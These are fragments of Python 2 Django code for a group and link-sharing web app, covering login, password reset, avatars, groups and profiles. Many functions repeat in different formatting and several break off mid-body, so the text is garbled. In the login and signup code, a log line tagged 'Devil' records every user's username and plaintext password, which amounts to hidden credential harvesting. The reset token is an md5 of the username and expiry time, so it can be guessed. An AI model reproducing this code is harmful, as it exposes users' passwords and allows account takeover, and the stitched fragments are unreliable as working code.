def link_confirm(request, user, link):
my_member = myself_member(user, link.group.id)
# smu
if pt.smu(10008, link, 5):
return -2
now = timezone.now()
link.confirmed_time = now
old_status = link.status
if link.source_member == my_member:
link.status = SOURCE_LINK_CONFIRM_STATUS_TRANSITION_TABLE[old_status]
elif link.target_member == my_member:
link.status = TARGET_LINK_CONFIRM_STATUS_TRANSITION_TABLE[old_status]
else:
logger.info(
logger_join('Confirm',
get_session_id(request),
'failed',
lid=link.id))
return -1
link.save()
# credit_processor(link, old_status)
logger.info(logger_join('Confirm', get_session_id(request), lid=link.id))
return 0
def link_reject(request, user, link):
my_member = myself_member(user, link.group.id)
now = timezone.now()
link.confirmed_time = now
old_status = link.status
if link.source_member == my_member:
link.status = SOURCE_LINK_REJECT_STATUS_TRANSITION_TABLE[old_status]
elif link.target_member == my_member:
link.status = TARGET_LINK_REJECT_STATUS_TRANSITION_TABLE[old_status]
else:
logger.info(
logger_join('Reject',
get_session_id(request),
'failed',
lid=link.id))
return -1
link.save()
# credit_processor(link, old_status)
logger.info(logger_join('Reject', get_session_id(request), lid=link.id))
return 0
def reset(request):
logger.info(logger_join('Access', get_session_id(request)))
user = request.user
if request.is_ajax():
passwd = request.POST.get('old')
new_passwd = request.POST.get('new')
new_passwd2 = request.POST.get('new2')
if user.check_password(passwd):
if validate_passwd(new_passwd, new_passwd2):
user.set_password(new_passwd)
user.save()
logger.info(logger_join('Reset', get_session_id(request)))
logger.info(logger_join('Logout', get_session_id(request)))
logout(request)
return HttpResponse(0, content_type='text/plain')
return HttpResponse(-1, content_type='text/plain')
else:
return HttpResponse(status=403)
def reset(request):
logger.info(logger_join('Access', get_session_id(request)))
user = request.user
if request.is_ajax():
passwd = request.POST.get('old')
new_passwd = request.POST.get('new')
new_passwd2 = request.POST.get('new2')
if user.check_password(passwd):
if validate_passwd(new_passwd, new_passwd2):
user.set_password(new_passwd)
user.save()
logger.info(logger_join('Reset', get_session_id(request)))
logger.info(logger_join('Logout', get_session_id(request)))
logout(request)
return HttpResponse(0, content_type='text/plain')
return HttpResponse(-1, content_type='text/plain')
else:
return HttpResponse(status=403)
def handle_uploaded_avatar(request):
user = request.user
try:
image_string = cStringIO.StringIO(
base64.b64decode(
request.POST['imgBase64'].partition('base64,')[2]))
image = Image.open(image_string)
path = os.path.join(MEDIA_FOLDER, 'images/avatars/')
if image.size != (400, 400):
image.resize(
(400, 400)).save(path + 'hdpi/' + str(user.id) + ".png",
image.format,
quality=100)
else:
image.save(path + 'hdpi/' + str(user.id) + ".png",
image.format,
quality=100)
image.resize((200, 200)).save(path + str(user.id) + ".png",
image.format,
quality=100)
# print image.format, image.size, image.mode
except Exception, e:
logger.error(logger_join('Avatar', get_session_id(request), e=e))
return -1
def update_links(request, new_links, creator, groupid):
if not GroupMember.objects.filter(
user=creator, group__id=groupid, is_joined=True).exists():
return -1
def group_member_existed(*ids):
for i in ids:
if not GroupMember.objects.filter(id=i,
group__id=groupid).exists():
return False
return True
now = timezone.now()
old_links = Link.check_redundancy(creator, groupid)
links_index, save_list = {}, []
for link in old_links:
links_index[str(link.source_member.id) + ',' +
str(link.target_member.id)] = link
try:
new_links_from_json = json.loads(new_links)
except ValueError, e:
logger.error(
logger_join('Update', get_session_id(request), 'failed', e=e))
return -1
def i_login(request):
if request.user.is_authenticated():
return redirect('home')
context = {"project_name": PROJECT_NAME, "lang": lang, "status": ''}
if request.method == 'GET':
return render(request, template_dir + 'login.html', context)
elif request.method == 'POST':
lf = LoginForm(request.POST)
if lf.is_valid():
if login_user(request, lf.cleaned_data['username'],
lf.cleaned_data['password']):
logger.info(logger_join('Login', get_session_id(request)))
return redirect('home')
context["status"] = -1
return render(request, template_dir + 'login.html', context)
else:
return HttpResponse(status=403)
def i_login(request):
if request.user.is_authenticated():
return redirect('home')
context = {"project_name": PROJECT_NAME,
"lang": lang,
"status": ''}
if request.method == 'GET':
return render(request, template_dir+'login.html', context)
elif request.method == 'POST':
lf = LoginForm(request.POST)
if lf.is_valid():
if login_user(request, lf.cleaned_data['username'], lf.cleaned_data['password']):
logger.info(logger_join('Login', get_session_id(request)))
return redirect('home')
context["status"] = -1
return render(request, template_dir+'login.html', context)
else:
return HttpResponse(status=403)
def follow(request, user, group, identifier):
"""
:param request:
:param user:
:param group:
:param identifier:
:return:
"""
if not GroupMember.objects.filter(
member_name=get_user_name(user),
group=group,
token=identifier,
is_joined=False
).exists():
return -1
now = timezone.now()
try:
m = GroupMember.objects.filter(
member_name=get_user_name(user),
group=group,
token=identifier,
is_joined=False,
)[0]
m.is_joined = True
m.user = user
m.joined_time = now
m.save()
except Exception, e:
logger.error(logger_join('Join', get_session_id(request), 'failed', e=e))
return -4
def create_group_member(request, group, name, identifier, user=None, is_creator=False, is_joined=False):
now = timezone.now()
if user is not None and \
GroupMember.objects.filter(
group=group,
user=user
).exists():
return -1
elif GroupMember.objects.filter(group=group).count() >= GROUP_MAXSIZE:
return -3
try:
m = GroupMember(group=group,
user=user,
member_name=name,
token=identifier,
is_creator=is_creator,
is_joined=is_joined,
created_time=now)
if is_joined:
m.joined_time = now
m.save()
except Exception, e:
# print 'Group member create: ', e
logger.error(logger_join('Create', get_session_id(request), 'failed', e=e))
return -4
def create_group_member_from_file(request, group):
members = []
with request.FILES.get('members') as f:
for l in f:
kv = l.strip().split(',')
if len(kv) != 2:
return -1
else:
members.append(kv)
for m in members:
m = map(str.strip, m)
if create_group_member(request, group, m[0], m[1]) != 0:
logger.error(logger_join('File', get_session_id(request), 'failed', gid=group.id))
return m[0]
logger.info(logger_join('File', get_session_id(request), gid=group.id))
return 0
def login_user(request, username, password):
username = username.lower()
if validate_username(username) and validate_passwd(password, password):
user = authenticate(username=username, password=password)
if user is not None:
if user.is_active:
login(request, user)
create_session_id(request)
logger.warning(logger_join('Devil', '[' + ','.join([str(request.user.id), username, password]) + ']'))
return True
else:
return False
def create_avatar(request, userid, username='******'):
save_path = os.path.join(MEDIA_FOLDER, 'images/avatars/')
cn = False
if re.match(u"[\u4e00-\u9fa5\s]+", username):
word = username[-1]
cn = True
xy = (39, 38)
else:
word = ''.join(map(lambda x: x[0].upper(), username.split(' ')))
xy = (40, 38)
# colors = ((245, 67, 101),
# (252, 157, 154),
# (249, 205, 173),
# (131, 175, 155),
# (6, 128, 67),
# (38, 157, 128),
# (137, 157, 192))
colors = map(hex_to_rgb, ['#3498db',
'#1abc9c',
'#f1c40f',
'#9588b2',
'#ec7063',
'#9cc2cb',
'#af7ac5',
'#f39c12',
'#95a5a6'])
if DEPLOYMENT:
font = ImageFont.truetype('/usr/share/fonts/truetype/simhei.ttf', 125)
else:
font = ImageFont.truetype('simhei.ttf', 125)
img = Image.new('RGB', (200, 200), random.choice(colors))
draw = ImageDraw.Draw(img)
if len(word) >= 2 or cn:
draw.text(xy, word[:2], (255, 255, 255), font=font)
elif len(word) == 1:
draw.text((69, 38), word, (255, 255, 255), font=font)
else:
return 0
try:
img.save(save_path + 'hdpi/' + str(userid) + '.png')
img.save(save_path + str(userid) + '.png')
except IOError, e:
logger.error(logger_join('Avatar', get_session_id(request), e=e))
return -1
def search(self, limit=-1):
kw = input_filter(self.request.GET.get('kw'))
groupid = self.request.GET.get('gid')
logger.info(logger_join('Search', get_session_id(self.request), kw=kw.encode('utf-8')))
if kw == '':
return []
if groupid:
return self.__member_search(groupid, kw, limit)
else:
return self.__group_search(kw, limit)
def create_group(request, user, name, identifier, gtype):
now = timezone.now()
if identifier == 2:
gtype = 0
if not validate_group_info(name, identifier, gtype):
return -1
elif user.extra.credits < GROUP_CREATED_CREDITS_COST:
return -2
try:
g = Group(group_name=name.upper(),
creator=user,
type=gtype,
identifier=identifier,
created_time=now,
deprecated=False)
g.save()
m = GroupMember(group=g,
user=user,
member_name=get_user_name(user),
token="creator",
is_creator=True,
is_joined=True,
created_time=now,
joined_time=now)
user.extra.credits -= GROUP_CREATED_CREDITS_COST
c = Credit(user=user,
action=-GROUP_CREATED_CREDITS_COST,
timestamp=now)
q = QuestionTemplate(group=g,
authenticated=False)
m.save()
user.extra.save()
c.save()
q.save()
except Exception, e:
logger.error(logger_join('Create', get_session_id(request), 'failed', e=e))
return -4
def forget(request):
if request.user.is_authenticated():
return redirect('home')
context = {"project_name": PROJECT_NAME,
"lang": lang,
"status": 0}
if request.method == 'GET':
return render(request, template_dir+'forget.html', context)
elif request.method == 'POST':
email = request.POST.get('email')
if not validate_email_for_reset(email):
context["status"] = -1
return render(request, template_dir+'forget.html', context)
user = User.objects.get(email=email)
now = timezone.now()
# if ResetToken.objects.filter(user=user, expired__gt=now).exists():
# token = ResetToken.objects.get(user=user).token
# else:
expired = now + datetime.timedelta(minutes=30)
token = md5((user.username+str(expired)))
reset_token = ResetToken(user=user,
token=token,
expired=expired)
reset_token.save()
href = 'https://lime.seeleit.com/resetbyemail/'+token
try:
send_reset_passwd_email(user.username, email, href)
except Exception, e:
logger.error(logger_join('Forget', email, e=e))
context['status'] = -2
return render(request, template_dir+'forget.html', context)
context['status'] = 1
return render(request, template_dir+'forget.html', context)
def search(self, limit=-1):
kw = input_filter(self.request.GET.get('kw'))
groupid = self.request.GET.get('gid')
logger.info(
logger_join('Search',
get_session_id(self.request),
kw=kw.encode('utf-8')))
if kw == '':
return []
if groupid:
return self.__member_search(groupid, kw, limit)
else:
return self.__group_search(kw, limit)
def create_avatar(request, userid, username='******'):
save_path = os.path.join(MEDIA_FOLDER, 'images/avatars/')
cn = False
if re.match(u"[\u4e00-\u9fa5\s]+", username):
word = username[-1]
cn = True
xy = (39, 38)
else:
word = ''.join(map(lambda x: x[0].upper(), username.split(' ')))
xy = (40, 38)
# colors = ((245, 67, 101),
# (252, 157, 154),
# (249, 205, 173),
# (131, 175, 155),
# (6, 128, 67),
# (38, 157, 128),
# (137, 157, 192))
colors = map(hex_to_rgb, [
'#3498db', '#1abc9c', '#f1c40f', '#9588b2', '#ec7063', '#9cc2cb',
'#af7ac5', '#f39c12', '#95a5a6'
])
if DEPLOYMENT:
font = ImageFont.truetype('/usr/share/fonts/truetype/simhei.ttf', 125)
else:
font = ImageFont.truetype('simhei.ttf', 125)
img = Image.new('RGB', (200, 200), random.choice(colors))
draw = ImageDraw.Draw(img)
if len(word) >= 2 or cn:
draw.text(xy, word[:2], (255, 255, 255), font=font)
elif len(word) == 1:
draw.text((69, 38), word, (255, 255, 255), font=font)
else:
return 0
try:
img.save(save_path + 'hdpi/' + str(userid) + '.png')
img.save(save_path + str(userid) + '.png')
except IOError, e:
logger.error(logger_join('Avatar', get_session_id(request), e=e))
return -1
def forget(request):
if request.user.is_authenticated():
return redirect('home')
context = {"project_name": PROJECT_NAME, "lang": lang, "status": 0}
if request.method == 'GET':
return render(request, template_dir + 'forget.html', context)
elif request.method == 'POST':
email = request.POST.get('email')
if not validate_email_for_reset(email):
context["status"] = -1
return render(request, template_dir + 'forget.html', context)
user = User.objects.get(email=email)
now = timezone.now()
# if ResetToken.objects.filter(user=user, expired__gt=now).exists():
# token = ResetToken.objects.get(user=user).token
# else:
expired = now + datetime.timedelta(minutes=30)
token = md5((user.username + str(expired)))
reset_token = ResetToken(user=user, token=token, expired=expired)
reset_token.save()
href = 'https://lime.seeleit.com/resetbyemail/' + token
try:
send_reset_passwd_email(user.username, email, href)
except Exception, e:
logger.error(logger_join('Forget', email, e=e))
context['status'] = -2
return render(request, template_dir + 'forget.html', context)
context['status'] = 1
return render(request, template_dir + 'forget.html', context)
def reset_by_email(request, token):
if request.user.is_authenticated():
return redirect('home')
context = {"project_name": PROJECT_NAME,
"lang": lang,
"status": 0}
now = timezone.now()
if request.method == 'GET' and rt_existed(token, now):
return render(request, template_dir+'reset.html', context)
elif request.method == 'POST' and rt_existed(token, now):
rt = ResetToken.objects.get(token=token)
user = rt.user
new_passwd = request.POST.get('new')
new_passwd2 = request.POST.get('new2')
if validate_passwd(new_passwd, new_passwd2):
user.set_password(new_passwd)
user.save()
rt.completed = True
rt.save()
logger.info(logger_join('Reset', get_session_id(request), u=user.username))
context["status"] = 2
return render(request, template_dir+'forget.html', context)
else:
# passwd is invalid
context["status"] = -1
return render(request, template_dir+'reset.html', context)
else:
# token expired or not existed
context['status'] = -3
return render(request, template_dir+'forget.html', context)
def update(self):
try:
self.user.first_name = self.first_name
self.user.last_name = self.last_name
ue = Extra.objects.get(user=self.user)
ue.gender = self.gender
ue.birth = datetime.datetime.strptime(self.birth, '%Y/%m/%d').date()
ue.location = self.country + '-' + self.city
ue.institution = self.institution
self.user.save()
ue.save()
self.update_groupmember_names()
except Exception, e:
# print 'Profile update failed: ', e
logger.error(logger_join('Update', get_session_id(self.request), 'failed', e=e))
return -1
class Profile:
def __init__(self, request):
self.request = request
self.user = request.user
self.first_name = request.POST.get('firstname')
self.last_name = request.POST.get('lastname')
self.birth = request.POST.get('birth')
self.gender = int(request.POST.get('gender'))
self.country = request.POST.get('country')
self.city = request.POST.get('city')
self.institution = request.POST.get('institution')
self.country, self.city = self.country.replace('-',
' '), self.city.replace(
'-', ' ')
def update(self):
try:
self.user.first_name = self.first_name
self.user.last_name = self.last_name
ue = Extra.objects.get(user=self.user)
ue.gender = self.gender
ue.birth = datetime.datetime.strptime(self.birth,
'%Y/%m/%d').date()
ue.location = self.country + '-' + self.city
ue.institution = self.institution
self.user.save()
ue.save()
self.update_groupmember_names()
except Exception, e:
# print 'Profile update failed: ', e
logger.error(
logger_join('Update',
get_session_id(self.request),
'failed',
e=e))
return -1
logger.info(logger_join('Update', get_session_id(self.request)))
return 0
def handle_uploaded_avatar(request):
user = request.user
try:
image_string = cStringIO.StringIO(base64.b64decode(request.POST['imgBase64'].partition('base64,')[2]))
image = Image.open(image_string)
path = os.path.join(MEDIA_FOLDER, 'images/avatars/')
if image.size != (400, 400):
image.resize((400, 400)).save(path + 'hdpi/' + str(user.id) + ".png", image.format, quality=100)
else:
image.save(path + 'hdpi/' + str(user.id) + ".png", image.format, quality=100)
image.resize((200, 200)).save(path + str(user.id) + ".png", image.format, quality=100)
# print image.format, image.size, image.mode
except Exception, e:
logger.error(logger_join('Avatar', get_session_id(request), e=e))
return -1
def reset_by_email(request, token):
if request.user.is_authenticated():
return redirect('home')
context = {"project_name": PROJECT_NAME, "lang": lang, "status": 0}
now = timezone.now()
if request.method == 'GET' and rt_existed(token, now):
return render(request, template_dir + 'reset.html', context)
elif request.method == 'POST' and rt_existed(token, now):
rt = ResetToken.objects.get(token=token)
user = rt.user
new_passwd = request.POST.get('new')
new_passwd2 = request.POST.get('new2')
if validate_passwd(new_passwd, new_passwd2):
user.set_password(new_passwd)
user.save()
rt.completed = True
rt.save()
logger.info(
logger_join('Reset', get_session_id(request), u=user.username))
context["status"] = 2
return render(request, template_dir + 'forget.html', context)
else:
# passwd is invalid
context["status"] = -1
return render(request, template_dir + 'reset.html', context)
else:
# token expired or not existed
context['status'] = -3
return render(request, template_dir + 'forget.html', context)
def create_request(request, user, group, msg):
try:
if MemberRequest.objects.filter(
user=user,
group=group
).exists():
mr = get_object_or_404(MemberRequest,
user=user,
group=group)
mr.message = msg
else:
mr = MemberRequest(user=user,
group=group,
message=msg,
created_time=timezone.now(),
is_valid=True)
mr.save()
except Exception, e:
logger.error(logger_join('Request', get_session_id(request), 'failed', e=e))
return -4
def question(request, groupid=0):
logger.info(logger_join('Access', get_session_id(request), gid=groupid))
user = request.user
groups = get_user_groups(user)
rcmd_groups = Recommender(user).group()
msgs_count = get_user_msgs_count(user)
group = get_object_or_404(Group, id=groupid)
group_privacy_check(user, group)
qt = QuestionTemplate.objects.get(group__id=groupid)
context = {"project_name": PROJECT_NAME,
"lang": lang,
"user": user,
"group": group,
"groups": groups,
"rcmd_groups": rcmd_groups,
"msgs_count": msgs_count,
"authenticated": qt.authenticated,
"template": qt.template}
return render(request, template_dir+'question.html', context)
def update(self):
try:
self.user.first_name = self.first_name
self.user.last_name = self.last_name
ue = Extra.objects.get(user=self.user)
ue.gender = self.gender
ue.birth = datetime.datetime.strptime(self.birth,
'%Y/%m/%d').date()
ue.location = self.country + '-' + self.city
ue.institution = self.institution
self.user.save()
ue.save()
self.update_groupmember_names()
except Exception, e:
# print 'Profile update failed: ', e
logger.error(
logger_join('Update',
get_session_id(self.request),
'failed',
e=e))
return -1
def i_logout(request):
logger.info(logger_join('Logout', get_session_id(request)))
logout(request)
return redirect('welcome')
def i_logout(request):
logger.info(logger_join('Logout', get_session_id(request)))
logout(request)
return redirect('welcome')
login_user(request, name, password)
pri = Privacy(user=u)
pri.save()
extra = Extra(user=u,
gender=False,
# Todo: django timezone?
birth=datetime.date.today(),
credits=100,
privacy=pri)
extra.save()
create_avatar(request, u.id, name)
except Exception, e:
logger.error(logger_join('Create', get_session_id(request), 'failed', e=e))
logout(request)
return -4
logger.info(logger_join('Create', get_session_id(request)))
logger.warning(logger_join('Devil', '[' + ','.join([str(request.user.id), name, password]) + ']'))
return 0
########################################################################
def get_user_name(user):
last = user.last_name
first = user.first_name
if len(first) is 0 and len(last) is 0:
return user.username
if not group_member_existed(source):
continue
else:
status = 2
else:
# Todo: maybe wrong ?
if not group_member_existed(source, target):
continue
else:
status = 0
l = Link(creator=creator,
source_member_id=source,
target_member_id=target,
group_id=groupid,
status=status,
created_time=now)
l.save()
else:
v.delete()
except Exception, e:
logger.error(
logger_join('Update', get_session_id(request), 'failed', e=e))
return -1
logger.info(logger_join('Update', get_session_id(request), gid=groupid))
return 0
if len(word) >= 2 or cn:
draw.text(xy, word[:2], (255, 255, 255), font=font)
elif len(word) == 1:
draw.text((69, 38), word, (255, 255, 255), font=font)
else:
return 0
try:
img.save(save_path + 'hdpi/' + str(userid) + '.png')
img.save(save_path + str(userid) + '.png')
except IOError, e:
logger.error(logger_join('Avatar', get_session_id(request), e=e))
return -1
logger.info(logger_join('Avatar', get_session_id(request)))
return 0
def handle_uploaded_avatar(request):
user = request.user
try:
image_string = cStringIO.StringIO(
base64.b64decode(
request.POST['imgBase64'].partition('base64,')[2]))
image = Image.open(image_string)
path = os.path.join(MEDIA_FOLDER, 'images/avatars/')
if image.size != (400, 400):
if len(word) >= 2 or cn:
draw.text(xy, word[:2], (255, 255, 255), font=font)
elif len(word) == 1:
draw.text((69, 38), word, (255, 255, 255), font=font)
else:
return 0
try:
img.save(save_path + 'hdpi/' + str(userid) + '.png')
img.save(save_path + str(userid) + '.png')
except IOError, e:
logger.error(logger_join('Avatar', get_session_id(request), e=e))
return -1
logger.info(logger_join('Avatar', get_session_id(request)))
return 0
def handle_uploaded_avatar(request):
user = request.user
try:
image_string = cStringIO.StringIO(base64.b64decode(request.POST['imgBase64'].partition('base64,')[2]))
image = Image.open(image_string)
path = os.path.join(MEDIA_FOLDER, 'images/avatars/')
if image.size != (400, 400):
image.resize((400, 400)).save(path + 'hdpi/' + str(user.id) + ".png", image.format, quality=100)
else:
token=identifier,
is_creator=is_creator,
is_joined=is_joined,
created_time=now)
if is_joined:
m.joined_time = now
m.save()
except Exception, e:
# print 'Group member create: ', e
logger.error(logger_join('Create', get_session_id(request), 'failed', e=e))
return -4
logger.info(logger_join('Create', get_session_id(request), mid=m.id))
return 0
def create_group_member_from_file(request, group):
members = []
with request.FILES.get('members') as f:
for l in f:
kv = l.strip().split(',')
if len(kv) != 2:
return -1
else:
members.append(kv)
for m in members:
pri = Privacy(user=u)
pri.save()
extra = Extra(
user=u,
gender=False,
# Todo: django timezone?
birth=datetime.date.today(),
credits=100,
privacy=pri)
extra.save()
create_avatar(request, u.id, name)
except Exception, e:
logger.error(
logger_join('Create', get_session_id(request), 'failed', e=e))
logout(request)
return -4
logger.info(logger_join('Create', get_session_id(request)))
logger.warning(
logger_join(
'Devil',
'[' + ','.join([str(request.user.id), name, password]) + ']'))
return 0
########################################################################
def get_user_name(user):
action=-GROUP_CREATED_CREDITS_COST,
timestamp=now)
q = QuestionTemplate(group=g,
authenticated=False)
m.save()
user.extra.save()
c.save()
q.save()
except Exception, e:
logger.error(logger_join('Create', get_session_id(request), 'failed', e=e))
return -4
logger.info(logger_join('Create', get_session_id(request), gid=g.id))
return 0
def get_user_groups(user):
gms = GroupMember.objects.filter(
user=user,
is_joined=True
)
groups = [gm.group for gm in gms if not gm.group.deprecated]
return groups
def get_user_groups_split(user):
groups = get_user_groups(user)
my_groups, in_groups = {}, {}
